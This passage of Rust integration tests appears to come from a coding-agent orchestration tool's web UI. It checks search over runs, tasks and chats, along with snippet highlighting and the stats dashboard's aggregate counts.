12160 write_run(&runs, "20260902-140502-bbbb", RunStatus::Merged);
12161 let path = runs.join("20260902-140502-bbbb").join("run.json");
12164 let mut v: serde_json::Value =
12165 serde_json::from_str(&std::fs::read_to_string(&path).unwrap()).unwrap();
12166 v["legacy"] = serde_json::json!({ "rounds": [{ "finding": { "text": "The Quokka leaks\nacross threads" } }] });
12167 std::fs::write(&path, v.to_string()).unwrap();
12168 std::fs::create_dir_all(runs.join("20260902-140503-cccc")).unwrap();
12169 std::fs::write(
12170 runs.join("20260902-140503-cccc").join("run.json"),
12171 "{ not json",
12172 )
12173 .unwrap();
12174
12175 let res = f.get("/api/search?scope=runs&q=quokka").await;
12176 assert_eq!(res.status, 200, "{}", res.body);
12177 let v = res.json();
12178 assert_eq!(v["total"], 1, "{v}");
12179 assert_eq!(v["hits"][0]["id"], "20260902-140502-bbbb");
12180 assert_eq!(v["hits"][0]["field"], "text");
12181 assert_eq!(v["unreadable"], 1, "an unparsable run is counted: {v}");
12182 let parts = v["hits"][0]["snippet"].as_array().unwrap();
12183 assert!(
12184 parts
12185 .iter()
12186 .any(|p| p["hit"] == true && p["text"] == "Quokka"),
12187 "{v}"
12188 );
12189 let flat: String = parts.iter().map(|p| p["text"].as_str().unwrap()).collect();
12190 assert_eq!(
12191 flat, "The Quokka leaks across threads",
12192 "whitespace is collapsed"
12193 );
12194
12195 let both = f
12197 .get("/api/search?scope=runs&q=MOBILE%20quokka")
12198 .await
12199 .json();
12200 assert_eq!(both["total"], 1, "{both}");
12201 let neither = f
12202 .get("/api/search?scope=runs&q=quokka%20zebra")
12203 .await
12204 .json();
12205 assert_eq!(neither["total"], 0, "{neither}");
12206 let stmt = f
12208 .get("/api/search?scope=runs&q=mobile%20first")
12209 .await
12210 .json();
12211 assert_eq!(stmt["total"], 2, "{stmt}");
12212 let by_id = f.get("/api/search?scope=runs&q=140501-aaaa").await.json();
12213 assert_eq!(by_id["hits"][0]["id"], "20260902-140501-aaaa", "{by_id}");
12214 }
12215
12216 #[test]
12217 fn snippet_ignores_terms_longer_than_the_field() {
12218 let terms = ["ok".to_owned(), "elephant".to_owned()];
12219 let parts = snippet_of("ok", &terms);
12220 assert_eq!(
12221 parts,
12222 vec![SnippetPart {
12223 text: "ok".to_owned(),
12224 hit: true
12225 }]
12226 );
12227 }
12228
12229 #[test]
12230 fn snippet_marks_matches_longer_than_the_window() {
12231 let cap = SNIPPET_BEFORE + SNIPPET_AFTER + 2;
12232 let hit_len = |parts: &[SnippetPart]| -> usize {
12233 parts
12234 .iter()
12235 .filter(|p| p.hit)
12236 .map(|p| p.text.chars().count())
12237 .sum()
12238 };
12239 let total =
12240 |parts: &[SnippetPart]| -> usize { parts.iter().map(|p| p.text.chars().count()).sum() };
12241
12242 let long = "a".repeat(120);
12243 let parts = snippet_of(&long, std::slice::from_ref(&long));
12244 assert!(hit_len(&parts) > 0, "{parts:?}");
12245 assert!(total(&parts) <= cap);
12246
12247 let ja = "あ".repeat(130);
12248 let parts = snippet_of(&ja, std::slice::from_ref(&ja));
12249 assert!(hit_len(&parts) > 0, "{parts:?}");
12250 assert!(total(&parts) <= cap);
12251
12252 let text = format!("ab {} ab{}", "x".repeat(90), "c".repeat(100));
12254 let term = format!("ab{}", "c".repeat(100));
12255 let parts = snippet_of(&text, &["ab ".to_owned(), term]);
12256 assert!(parts.iter().filter(|p| p.hit).count() >= 2, "{parts:?}");
12257 assert!(total(&parts) <= cap);
12258
12259 let text = format!("{}z", "a".repeat(119));
12261 let parts = snippet_of(&text, &["a".repeat(120)]);
12262 assert_eq!(hit_len(&parts), 0, "{parts:?}");
12263 }
12264
12265 #[tokio::test]
12266 async fn search_caps_hits_and_snippet_length() {
12267 let f = Fixture::start().await;
12268 let runs = f.runs();
12269 for n in 0..(SEARCH_MAX_HITS + 5) {
12270 write_run(&runs, &format!("20260902-140501-{n:04}"), RunStatus::Merged);
12271 }
12272 let v = f.get("/api/search?scope=runs&q=web").await.json();
12273 assert_eq!(v["hits"].as_array().unwrap().len(), SEARCH_MAX_HITS);
12274 assert_eq!(v["total"], SEARCH_MAX_HITS + 5);
12275 assert_eq!(v["truncated"], true);
12276 assert!(
12278 v["hits"]
12279 .as_array()
12280 .unwrap()
12281 .iter()
12282 .all(|h| h["run"]["status"] == "merged")
12283 );
12284
12285 let long = format!("{}needle{}", "x".repeat(5000), "y".repeat(5000));
12286 let parts = snippet_of(&long, &["needle".to_owned()]);
12287 let len: usize = parts.iter().map(|p| p.text.chars().count()).sum();
12288 assert!(len <= SNIPPET_BEFORE + SNIPPET_AFTER + 2, "{len}");
12289 assert!(parts.iter().any(|p| p.hit && p.text == "needle"));
12290 }
12291
12292 #[tokio::test]
12293 async fn search_tasks_reads_every_field_and_rejects_bad_requests() {
12294 let f = Fixture::start().await;
12295 let queue = f.queue();
12296 let mut t = Task::new(
12297 "short title".to_owned(),
12298 "line one\nthe hidden Armadillo detail".to_owned(),
12299 PathBuf::from("/repo/magi"),
12300 Source::Agent {
12301 run: "r1".to_owned(),
12302 node: "chat".to_owned(),
12303 },
12304 );
12305 t.last_error = Some("disk full on /tmp".to_owned());
12306 queue.put(&mut t).expect("file the task");
12307
12308 for (q, want) in [
12309 ("armadillo", 1),
12310 ("disk%20FULL", 1),
12311 ("chat", 1),
12312 ("queued", 1),
12313 ("short%20nothing", 0),
12314 ] {
12315 let v = f
12316 .get(&format!("/api/search?scope=tasks&q={q}"))
12317 .await
12318 .json();
12319 assert_eq!(v["total"], want, "{q}: {v}");
12320 }
12321 for bad in [
12322 "/api/search?scope=tasks&q=",
12323 "/api/search?scope=tasks&q=%20",
12324 "/api/search?scope=chats&q=",
12325 "/api/search?scope=chats&q=%20",
12326 "/api/search?scope=nope&q=a",
12327 "/api/search?q=a",
12328 ] {
12329 assert_eq!(f.get(bad).await.status, 400, "{bad}");
12330 }
12331 }
12332
12333 fn write_talk(f: &Fixture, id: &str, status: &str, turns: &[(&str, &str)]) {
12335 let seat = serde_json::to_value(crate::agent::SeatState::new("talk", "claude", 1))
12336 .expect("seat value");
12337 let turns: Vec<serde_json::Value> = turns
12338 .iter()
12339 .map(|(who, body)| {
12340 serde_json::json!({"who": who, "body": body, "at": "2026-09-01T00:00:00Z"})
12341 })
12342 .collect();
12343 let doc = serde_json::json!({
12344 "schema": 1, "id": id, "repo": "/SecretRepoPath", "agent": "claude-agent",
12345 "status": status, "turns": turns,
12346 "created_at": "2026-09-01T00:00:00Z", "updated_at": "2026-09-01T00:00:00Z",
12347 "seat": seat,
12348 });
12349 let dir = f.home.path().join("talks");
12350 std::fs::create_dir_all(&dir).expect("talks dir");
12351 std::fs::write(dir.join(format!("{id}.json")), doc.to_string()).expect("write talk");
12352 }
12353
12354 #[tokio::test]
12355 async fn search_chats_reads_title_and_turns_and_counts_unreadable() {
12356 let f = Fixture::start().await;
12357 write_talk(
12358 &f,
12359 "20260901-000001-aaaa",
12360 "open",
12361 &[
12362 (
12363 "operator",
12364 "\n Why does the Pangolin cache expire?\nsecond line",
12365 ),
12366 ("agent", "Because the TTL is thirty seconds."),
12367 ],
12368 );
12369 write_talk(
12370 &f,
12371 "20260901-000002-bbbb",
12372 "closed",
12373 &[("operator", "unrelated"), ("agent", "The Zebra moved on.")],
12374 );
12375 std::fs::write(f.home.path().join("talks/broken.json"), "{ nope").expect("broken");
12376
12377 let search = |q: &'static str| {
12378 let f = &f;
12379 async move {
12380 f.get(&format!("/api/search?scope=chats&q={q}"))
12381 .await
12382 .json()
12383 }
12384 };
12385
12386 let v = search("PANGOLIN").await;
12387 assert_eq!(v["scope"], "chats");
12388 assert_eq!(v["total"], 1, "{v}");
12389 assert_eq!(v["hits"][0]["id"], "20260901-000001-aaaa");
12390 assert_eq!(v["hits"][0]["field"], "title");
12391 assert_eq!(v["unreadable"], 1, "{v}");
12392 let marked: Vec<&str> = v["hits"][0]["snippet"]
12393 .as_array()
12394 .unwrap()
12395 .iter()
12396 .filter(|p| p["hit"] == true)
12397 .map(|p| p["text"].as_str().unwrap())
12398 .collect();
12399 assert_eq!(marked, ["Pangolin"]);
12400
12401 let v = search("zebra").await;
12403 assert_eq!(v["total"], 1, "{v}");
12404 assert_eq!(v["hits"][0]["field"], "agent");
12405 assert_eq!(search("pangolin%20thirty").await["total"], 1);
12407 assert_eq!(search("pangolin%20zebra").await["total"], 0);
12408 for q in ["claude-agent", "SecretRepoPath", "open", "closed"] {
12410 assert_eq!(search(q).await["total"], 0, "{q}");
12411 }
12412 assert_eq!(search("second").await["hits"][0]["field"], "operator");
12414 assert_eq!(search("the").await["hits"][0]["id"], "20260901-000001-aaaa");
12416
12417 let v = f.get("/api/search?scope=nope&q=a").await;
12418 assert_eq!(v.status, 400);
12419 assert!(
12420 v.body.contains("scope must be runs, tasks or chats"),
12421 "{}",
12422 v.body
12423 );
12424 }
12425
12426 #[test]
12427 fn a_question_card_links_a_task_id_to_the_task_page() {
12428 let start = APP_JS
12429 .find("function updateAskCard(")
12430 .expect("updateAskCard exists");
12431 let body = &APP_JS[start..];
12432 let body = &body[..body.find("\n}\n").expect("function end")];
12433 assert!(body.contains("question.run_is_task"));
12434 assert!(body.contains("`#/tasks/${encodeURIComponent(question.run)}`"));
12435 assert!(body.contains("`#/runs/${question.run}`"));
12436 assert!(body.contains("\"task\" : \"run\""));
12437 }
12438
12439 #[test]
12440 fn plain_text_message_surfaces_go_through_linkify() {
12441 assert!(APP_JS.contains("function linkify("));
12442 assert!(!APP_JS.contains("class: \"event-msg\", text:"));
12443 assert!(!APP_JS.contains("class: \"notice-msg\", text:"));
12444 assert!(APP_JS.contains("linkify(el(\"span\", { class: \"event-msg\" })"));
12445 assert!(APP_JS.contains("linkify(el(\"div\", { class: \"notice-msg\" })"));
12446 assert!(!APP_JS.contains("innerHTML = text"));
12447 }
12448
12449 #[test]
12450 fn stats_bars_share_one_id_keyed_plan() {
12451 let start = APP_JS
12452 .find("function statsBarRows(")
12453 .expect("statsBarRows exists");
12454 let body = &APP_JS[start..];
12455 let body = &body[..body.find("\n}\n").expect("function end")];
12456 assert!(body.contains("statsBarPlan(rows)"));
12457 assert!(body.contains("statsAgentTone(row.agent)"));
12458 assert!(!body.contains("candTone(i)"));
12459 assert!(APP_JS.contains("const STATS_LOW_N = 10;"));
12460 for root in ["stats-agents-bars", "stats-reviewers-bars"] {
12461 assert!(APP_JS.contains(&format!("statsBarRows($(\"{root}\")")));
12462 }
12463 }
12464
12465 #[test]
12466 fn the_precision_scatter_is_a_pure_plan_in_the_agents_colour() {
12467 let start = APP_JS
12468 .find("function renderStatsReviewerScatter(")
12469 .expect("renderStatsReviewerScatter exists");
12470 let body = &APP_JS[start..];
12471 let body = &body[..body.find("\n}\n").expect("function end")];
12472 assert!(body.contains("statsScatterPlan(reviewers)"));
12473 assert!(body.contains("statsAgentTone(d.agent)"));
12474 assert!(APP_JS.contains("function statsScatterPlan("));
12475 assert!(
12476 APP_JS.contains("d.submitted < STATS_LOW_N")
12477 || APP_JS.contains("r.submitted < STATS_LOW_N")
12478 );
12479 assert!(INDEX_HTML.contains("id=\"stats-reviewers-scatter\""));
12480 assert!(APP_CSS.contains(".precision-scatter"));
12481 }
12482
12483 #[test]
12484 fn advisor_reflection_is_drawn_as_stacked_segments() {
12485 assert!(APP_JS.contains("statsReflectionRows($(\"stats-advisors-bars\")"));
12486 assert!(APP_JS.contains("const STATS_SEG_MIN = 4;"));
12487 let html = include_str!("../assets/ui/index.html");
12488 assert!(html.contains("Approximate"));
12489 for label in ["reflected strongly", "faint", "no proposal"] {
12490 assert!(html.contains(label));
12491 }
12492 let css = include_str!("../assets/ui/app.css");
12493 for c in ["refl-strong", "refl-faint", "refl-absent"] {
12494 assert!(css.contains(&format!(".{c} {{")));
12495 }
12496 }
12497
12498 #[test]
12499 fn stats_daily_chart_is_planned_purely_and_rendered_from_the_api() {
12500 assert!(APP_JS.contains("function statsDailyPlan("));
12501 assert!(APP_JS.contains("renderStatsDaily(s.daily)"));
12502 assert!(INDEX_HTML.contains("id=\"stats-daily\""));
12503 }
12504
12505 #[test]
12506 fn a_keystroke_invalidates_the_search_reply_still_in_flight() {
12507 let start = APP_JS
12508 .find("function scheduleSearch(")
12509 .expect("scheduleSearch exists");
12510 let body = &APP_JS[start..];
12511 let body = &body[..body.find("\n}\n").expect("function end")];
12512 assert!(body.contains("s.seq += 1"));
12513 }
12514
12515 #[tokio::test]
12520 async fn stats_runs_unreadable_matches_health() {
12521 let f = Fixture::start().await;
12522 write_run(&f.runs(), "20260902-140501-good", RunStatus::Ready);
12523 let broken = f.runs().join("20260902-140502-bad");
12524 std::fs::create_dir_all(&broken).expect("run dir");
12525 std::fs::write(broken.join("run.json"), "{ truncated").expect("write run.json");
12526
12527 let stats = f.get("/api/stats").await;
12528 let health = f.get("/api/health").await;
12529
12530 assert_eq!(stats.status, 200);
12531 assert_eq!(stats.json()["totals"]["runs"], 1);
12532 assert_eq!(stats.json()["runs_unreadable"], 1);
12533 assert_eq!(
12534 stats.json()["runs_unreadable"],
12535 health.json()["runs_unreadable"],
12536 "the dashboard and /api/health must never disagree about how many \
12537 runs could not be read"
12538 );
12539 }
12540
12541 #[tokio::test]
12542 async fn stats_verdict_breakdown_covers_stalled_and_in_progress_runs() {
12543 let f = Fixture::start().await;
12544 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12545 write_run(&f.runs(), "20260902-140502-b", RunStatus::Stalled);
12546 write_run(&f.runs(), "20260902-140503-c", RunStatus::Implementing);
12547
12548 let totals = &f.get("/api/stats").await.json()["totals"];
12549 assert_eq!(totals["runs"], 3);
12550 assert_eq!(totals["merged"], 1);
12551 assert_eq!(totals["stalled"], 1);
12552 assert_eq!(totals["in_progress"], 1);
12553 assert_eq!(totals["blocked"], 0);
12556 assert_eq!(totals["ready"], 0);
12557 }
12558
12559 #[tokio::test]
12560 async fn stats_advisors_report_proposals_and_reflection() {
12561 use crate::advise::{Advice, AdvisorRecord, Reflection};
12562 use crate::verdict::Proposal;
12563
12564 let f = Fixture::start().await;
12565 let mut state = RunState::new(
12566 PathBuf::from("/repo/magi"),
12567 "main".to_owned(),
12568 "0123456789abcdef".to_owned(),
12569 "task".to_owned(),
12570 Config::default(),
12571 );
12572 state.id = "20260902-140501-a".to_owned();
12573 state.status = RunStatus::Merged;
12574 state.advice = Some(Advice {
12575 records: vec![
12576 AdvisorRecord {
12577 seat: "advisor-1".to_owned(),
12578 agent: "alpha".to_owned(),
12579 proposal: Some(Proposal {
12580 approach: "do it".to_owned(),
12581 key_tradeoff: "speed over memory".to_owned(),
12582 risks: Vec::new(),
12583 touches: Vec::new(),
12584 why_not_naive: "breaks under load".to_owned(),
12585 }),
12586 error: None,
12587 duration_ms: 0,
12588 reflection: Reflection::Strong,
12589 },
12590 AdvisorRecord {
12591 seat: "advisor-2".to_owned(),
12592 agent: "alpha".to_owned(),
12593 proposal: None,
12594 error: Some("timed out".to_owned()),
12595 duration_ms: 0,
12596 reflection: Reflection::Absent,
12597 },
12598 ],
12599 synthesis: Some("blended brief".to_owned()),
12600 });
12601 let dir = f.runs().join(&state.id);
12602 std::fs::create_dir_all(&dir).expect("run dir");
12603 std::fs::write(
12604 dir.join("run.json"),
12605 serde_json::to_string_pretty(&state).expect("serialize run"),
12606 )
12607 .expect("write run.json");
12608
12609 let advisors = f.get("/api/stats?all=true").await.json()["advisors"].clone();
12611 let alpha = advisors
12612 .as_array()
12613 .expect("an array")
12614 .iter()
12615 .find(|a| a["agent"] == "alpha")
12616 .expect("alpha row");
12617 assert_eq!(alpha["seated"], 2);
12618 assert_eq!(alpha["proposed"], 1);
12619 assert_eq!(alpha["absent"], 1);
12620 assert_eq!(alpha["strong"], 1);
12621 assert_eq!(alpha["faint"], 0);
12622 assert_eq!(alpha["reflection_rate"]["pct"], 100.0);
12623 }
12624
12625 #[tokio::test]
12626 async fn stats_hides_agents_outside_the_roster_unless_all() {
12627 use crate::run::Candidate;
12628 let repo = TempDir::new().expect("repo dir");
12629 std::fs::write(
12630 repo.path().join("magi.toml"),
12631 "[[agents]]\nid = \"keep\"\nkind = \"claude\"\n",
12632 )
12633 .expect("magi.toml");
12634 let f = Fixture::with_repo(repo.path().to_path_buf()).await;
12635 let mut state = RunState::new(
12636 PathBuf::from("/repo/magi"),
12637 "main".to_owned(),
12638 "0123456789abcdef".to_owned(),
12639 "task".to_owned(),
12640 Config::default(),
12641 );
12642 state.id = "20260902-140501-a".to_owned();
12643 state.status = RunStatus::Merged;
12644 for (label, agent) in [('A', "keep"), ('B', "retired")] {
12645 let mut c: Candidate = serde_json::from_value(serde_json::json!({
12646 "index": 0, "label": label.to_string(), "agent": agent,
12647 "branch": "b", "worktree": "/w",
12648 }))
12649 .expect("candidate");
12650 c.label = label;
12651 state.candidates.push(c);
12652 }
12653 let dir = f.runs().join(&state.id);
12654 std::fs::create_dir_all(&dir).expect("run dir");
12655 std::fs::write(
12656 dir.join("run.json"),
12657 serde_json::to_string_pretty(&state).expect("serialize run"),
12658 )
12659 .expect("write run.json");
12660
12661 let agents_of = |v: &serde_json::Value| -> Vec<String> {
12662 v["agents"]
12663 .as_array()
12664 .expect("array")
12665 .iter()
12666 .map(|a| a["agent"].as_str().unwrap().to_owned())
12667 .collect()
12668 };
12669 let hidden = f.get("/api/stats").await.json();
12670 assert_eq!(agents_of(&hidden), ["keep"]);
12671 assert_eq!(hidden["retired_hidden"], serde_json::json!(["retired"]));
12672 assert_eq!(hidden["totals"]["runs"], 1);
12673
12674 let all = f.get("/api/stats?all=true").await.json();
12675 assert_eq!(agents_of(&all).len(), 2);
12676 assert_eq!(all["retired_hidden"], serde_json::json!([]));
12677 }
12678
12679 #[tokio::test]
12680 async fn stats_release_bumps_split_clean_from_attention() {
12681 use crate::run::ReleaseBump;
12682
12683 let f = Fixture::start().await;
12684
12685 let mut clean = RunState::new(
12686 PathBuf::from("/repo/magi"),
12687 "main".to_owned(),
12688 "0123456789abcdef".to_owned(),
12689 "task".to_owned(),
12690 Config::default(),
12691 );
12692 clean.id = "20260902-140501-a".to_owned();
12693 clean.status = RunStatus::Merged;
12694 clean.release_bump = Some(ReleaseBump {
12695 pr_url: Some("https://github.com/o/r/pull/1".to_owned()),
12696 version: Some("1.0.0".to_owned()),
12697 automerge_enabled: true,
12698 merged_directly: false,
12699 local: false,
12700 release: None,
12701 problem: None,
12702 action_required: None,
12703 });
12704
12705 let mut blocked = RunState::new(
12706 PathBuf::from("/repo/magi"),
12707 "main".to_owned(),
12708 "0123456789abcdef".to_owned(),
12709 "task".to_owned(),
12710 Config::default(),
12711 );
12712 blocked.id = "20260902-140502-b".to_owned();
12713 blocked.status = RunStatus::Merged;
12714 blocked.release_bump = Some(ReleaseBump {
12715 pr_url: Some("https://github.com/o/r/pull/2".to_owned()),
12716 version: Some("1.0.1".to_owned()),
12717 automerge_enabled: false,
12718 merged_directly: false,
12719 local: false,
12720 release: None,
12721 problem: Some("checks red".to_owned()),
12722 action_required: Some("look at the PR".to_owned()),
12723 });
12724
12725 for state in [&clean, &blocked] {
12726 let dir = f.runs().join(&state.id);
12727 std::fs::create_dir_all(&dir).expect("run dir");
12728 std::fs::write(
12729 dir.join("run.json"),
12730 serde_json::to_string_pretty(state).expect("serialize run"),
12731 )
12732 .expect("write run.json");
12733 }
12734
12735 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12736 assert_eq!(bumps["merged"], 2);
12737 assert_eq!(bumps["recorded"], 2);
12738 assert_eq!(bumps["pr_opened"], 2);
12739 assert_eq!(bumps["automerge_enabled"], 1);
12740 assert_eq!(bumps["needs_attention"], 1);
12741 assert_eq!(bumps["clean"], 1);
12742 assert_eq!(bumps["coverage_rate"]["pct"], 100.0);
12743 assert_eq!(bumps["attention_rate"]["pct"], 50.0);
12744 }
12745
12746 #[tokio::test]
12747 async fn stats_release_bumps_rates_are_null_with_nothing_recorded() {
12748 let f = Fixture::start().await;
12749 write_run(&f.runs(), "20260902-140501-a", RunStatus::Merged);
12750
12751 let bumps = f.get("/api/stats").await.json()["release_bumps"].clone();
12752 assert_eq!(bumps["merged"], 1);
12753 assert_eq!(bumps["recorded"], 0);
12754 assert_eq!(bumps["coverage_rate"]["pct"], 0.0);
12757 assert_eq!(bumps["automerge_rate"], Value::Null);
12760 assert_eq!(bumps["attention_rate"], Value::Null);
12761 }
12762
12763 #[tokio::test]
12764 async fn stats_queue_counts_come_from_the_live_queue() {
12765 let f = Fixture::start().await;
12766 let q = f.queue();
12767 let mut queued = Task::new(
12768 "queued task".to_owned(),
12769 "do it".to_owned(),
12770 PathBuf::from("/repo"),
12771 Source::Human,
12772 );
12773 q.put(&mut queued).expect("put queued");
12774 let mut held = Task::new(
12775 "held task".to_owned(),
12776 "do it later".to_owned(),
12777 PathBuf::from("/repo"),
12778 Source::Human,
12779 );
12780 held.hold_machine(Some("out of attempts".to_owned()));
12781 q.put(&mut held).expect("put held");
12782
12783 let queue = f.get("/api/stats").await.json()["queue"].clone();
12784 assert_eq!(queue["queued"], 1);
12785 assert_eq!(queue["held"], 1);
12786 assert_eq!(queue["running"], 0);
12787 assert_eq!(queue["done"], 0);
12788 assert_eq!(queue["failed"], 0);
12789 assert_eq!(queue["blocked"], 0);
12790 }
12791
12792 #[tokio::test]
12793 async fn stats_on_an_empty_home_is_all_zero_not_an_error() {
12794 let f = Fixture::start().await;
12795 let stats = f.get("/api/stats").await;
12796 assert_eq!(stats.status, 200);
12797 assert_eq!(stats.json()["totals"]["runs"], 0);
12798 assert_eq!(stats.json()["totals"]["completion_rate"], Value::Null);
12799 assert_eq!(stats.json()["runs_unreadable"], 0);
12800 assert!(stats.json()["agents"].as_array().unwrap().is_empty());
12801 assert!(stats.json()["advisors"].as_array().unwrap().is_empty());
12802 assert!(stats.json()["repos"].as_array().unwrap().is_empty());
12803 assert_eq!(stats.json()["repo"], Value::Null);
12804 }
12805
12806 #[tokio::test]
12807 async fn stats_lists_every_repository_with_runs_recorded() {
12808 let f = Fixture::start().await;
12809 write_run_repo(
12810 &f.runs(),
12811 "20260902-140501-a",
12812 RunStatus::Merged,
12813 "/repos/a",
12814 );
12815 write_run_repo(
12816 &f.runs(),
12817 "20260902-140502-b",
12818 RunStatus::Merged,
12819 "/repos/a",
12820 );
12821 write_run_repo(
12822 &f.runs(),
12823 "20260902-140503-c",
12824 RunStatus::Blocked,
12825 "/repos/b",
12826 );
12827
12828 let stats = f.get("/api/stats").await;
12829 assert_eq!(stats.status, 200);
12830 assert_eq!(stats.json()["totals"]["runs"], 3);
12832 assert_eq!(stats.json()["repo"], Value::Null);
12833
12834 let repos = stats.json()["repos"].clone();
12835 let repos = repos.as_array().unwrap();
12836 assert_eq!(repos.len(), 2);
12837 assert_eq!(repos[0]["repo"], "/repos/a");
12839 assert_eq!(repos[0]["name"], "a");
12840 assert_eq!(repos[0]["runs"], 2);
12841 assert_eq!(repos[1]["repo"], "/repos/b");
12842 assert_eq!(repos[1]["runs"], 1);
12843 }
12844
12845 #[tokio::test]
12846 async fn stats_repo_query_narrows_the_aggregate_to_one_repository() {
12847 let f = Fixture::start().await;
12848 write_run_repo(
12849 &f.runs(),
12850 "20260902-140501-a",
12851 RunStatus::Merged,
12852 "/repos/a",
12853 );
12854 write_run_repo(
12855 &f.runs(),
12856 "20260902-140502-b",
12857 RunStatus::Blocked,
12858 "/repos/b",
12859 );
12860
12861 let stats = f.get("/api/stats?repo=%2Frepos%2Fa").await;
12862 assert_eq!(stats.status, 200);
12863 assert_eq!(stats.json()["totals"]["runs"], 1);
12864 assert_eq!(stats.json()["totals"]["merged"], 1);
12865 assert_eq!(stats.json()["repo"], "/repos/a");
12866 assert_eq!(stats.json()["repos"].as_array().unwrap().len(), 2);
12869 assert_eq!(stats.json()["runs_unreadable"], 0);
12872 }
12873
12874 #[tokio::test]
12875 async fn stats_daily_is_thirty_ascending_days_scoped_by_repo() {
12876 let f = Fixture::start().await;
12877 write_run_repo(
12878 &f.runs(),
12879 "20260902-140501-a",
12880 RunStatus::Merged,
12881 "/repos/a",
12882 );
12883 write_run_repo(
12884 &f.runs(),
12885 "20260902-140502-b",
12886 RunStatus::Merged,
12887 "/repos/b",
12888 );
12889
12890 for uri in ["/api/stats", "/api/stats?repo=%2Frepos%2Fa"] {
12891 let json = f.get(uri).await.json();
12892 let daily = json["daily"].as_array().expect("daily is an array");
12893 assert_eq!(daily.len(), 30);
12894 let dates: Vec<&str> = daily.iter().map(|d| d["date"].as_str().unwrap()).collect();
12895 let mut sorted = dates.clone();
12896 sorted.sort();
12897 assert_eq!(dates, sorted);
12898 for d in daily {
12899 assert_eq!(
12900 d["merged"].as_u64().unwrap()
12901 + d["ready"].as_u64().unwrap()
12902 + d["other"].as_u64().unwrap(),
12903 d["runs"].as_u64().unwrap()
12904 );
12905 }
12906 assert!(json["totals"]["runs"].as_u64().unwrap() >= 1);
12907 }
12908 }
12909
12910 #[tokio::test]
12911 async fn stats_repo_query_for_an_unknown_repo_is_a_404() {
12912 let f = Fixture::start().await;
12913 write_run_repo(
12914 &f.runs(),
12915 "20260902-140501-a",
12916 RunStatus::Merged,
12917 "/repos/a",
12918 );
12919
12920 let stats = f.get("/api/stats?repo=%2Frepos%2Fnope").await;
12921 assert_eq!(stats.status, 404);
12922 }
12923
12924 #[tokio::test]
12925 async fn a_run_is_summarised_for_the_list_and_served_whole_on_its_own_route() {
12926 let f = Fixture::start().await;
12927 write_run(&f.runs(), "20260902-140501-a1b2", RunStatus::Ready);
12928
12929 let summary = f.get("/api/runs").await.json();
12930 let row = &summary[0];
12931 assert_eq!(row["short"], "a1b2");
12932 assert_eq!(row["status"], "ready");
12933 assert_eq!(row["done"], true);
12934 assert_eq!(row["title"], "Add a web UI");
12935 assert_eq!(row["repo_name"], "magi");
12936 assert_eq!(row["judges"], 3);
12937 assert_eq!(row["winner"], Value::Null);
12938 assert_eq!(row["reviews"], 0);
12939
12940 let detail = f.get("/api/runs/a1b2").await;
12943 assert_eq!(detail.status, 200);
12944 assert_eq!(detail.json()["base_branch"], "main");
12945 assert_eq!(detail.json()["id"], "20260902-140501-a1b2");
12946 }
12947
12948 #[tokio::test]
12956 async fn a_mode_none_ready_run_is_flagged_unmerged_by_design_everywhere() {
12957 let f = Fixture::start().await;
12958
12959 let mut none_run = RunState::new(
12960 PathBuf::from("/repo/magi"),
12961 "main".to_owned(),
12962 "0123456789abcdef".to_owned(),
12963 "Add a web UI".to_owned(),
12964 Config::default(),
12965 );
12966 none_run.id = "20260902-140503-none".to_owned();
12967 none_run.status = RunStatus::Ready;
12968 none_run.merge = Some(crate::run::MergeOutcome {
12969 mode: crate::config::MergeMode::None,
12970 ok: true,
12971 detail: "git -C /repo merge --no-ff magi/x/A".to_owned(),
12972 empty: false,
12973 });
12974 write_state(&f.runs(), &none_run);
12975
12976 let mut pr_run = RunState::new(
12977 PathBuf::from("/repo/magi"),
12978 "main".to_owned(),
12979 "0123456789abcdef".to_owned(),
12980 "Add a web UI".to_owned(),
12981 Config::default(),
12982 );
12983 pr_run.id = "20260902-140504-prcl".to_owned();
12984 pr_run.status = RunStatus::Ready;
12985 pr_run.merge = Some(crate::run::MergeOutcome {
12986 mode: crate::config::MergeMode::Pr,
12987 ok: false,
12988 detail: "https://example.com/pr/1 was closed without merging".to_owned(),
12989 empty: false,
12990 });
12991 write_state(&f.runs(), &pr_run);
12992
12993 let summary = f.get("/api/runs").await.json();
12994 let rows: std::collections::HashMap<&str, &Value> = summary
12995 .as_array()
12996 .expect("an array")
12997 .iter()
12998 .map(|r| (r["id"].as_str().expect("an id"), r))
12999 .collect();
13000 assert_eq!(rows[none_run.id.as_str()]["status"], "ready");
13001 assert_eq!(
13002 rows[none_run.id.as_str()]["unmerged_by_design"],
13003 true,
13004 "a mode-none Ready must be flagged in the list"
13005 );
13006 assert_eq!(
13007 rows[pr_run.id.as_str()]["unmerged_by_design"],
13008 false,
13009 "a Ready reached by a closed pull request is a different case"
13010 );
13011
13012 let none_detail = f.get(&format!("/api/runs/{}", none_run.id)).await.json();
13013 assert_eq!(none_detail["status"], "ready");
13014 assert_eq!(none_detail["unmerged_by_design"], true);
13015
13016 let pr_detail = f.get(&format!("/api/runs/{}", pr_run.id)).await.json();
13017 assert_eq!(pr_detail["unmerged_by_design"], false);
13018 }
13019
13020 #[tokio::test]
13025 async fn run_detail_reports_active_seats_and_whether_a_daemon_confirms_them() {
13026 let f = Fixture::start().await;
13027 let id = "20260902-140502-bbbb";
13031 let mut state = RunState::new(
13032 PathBuf::from("/repo/magi"),
13033 "main".to_owned(),
13034 "0123456789abcdef".to_owned(),
13035 "Add a web UI".to_owned(),
13036 Config::default(),
13037 );
13038 state.id = id.to_owned();
13039 state.status = RunStatus::Judging;
13040 state.seat_started("judge", "judge-2", std::time::Duration::from_secs(120), 0);
13041 let dir = f.runs().join(id);
13042 std::fs::create_dir_all(&dir).expect("run dir");
13043 std::fs::write(
13044 dir.join("run.json"),
13045 serde_json::to_string_pretty(&state).expect("serialize run"),
13046 )
13047 .expect("write run.json");
13048
13049 let cold = f.get(&format!("/api/runs/{id}")).await.json();
13055 assert_eq!(cold["active"]["judge-2"]["node"], "judge");
13056 assert_eq!(cold["live"], "unknown", "{cold}");
13057
13058 write_daemon(f.home.path(), Timestamp::now());
13061 let warm = f.get(&format!("/api/runs/{id}")).await.json();
13062 assert_eq!(warm["live"], "live", "{warm}");
13063 }
13064
13065 #[tokio::test]
13068 async fn run_detail_shows_the_origin_and_reads_a_pre_origin_run_as_unknown() {
13069 let f = Fixture::start().await;
13070 let write = |id: &str, origin: Option<crate::run::Origin>, schema: Option<u32>| {
13071 let mut state = RunState::new(
13072 PathBuf::from("/repo/magi"),
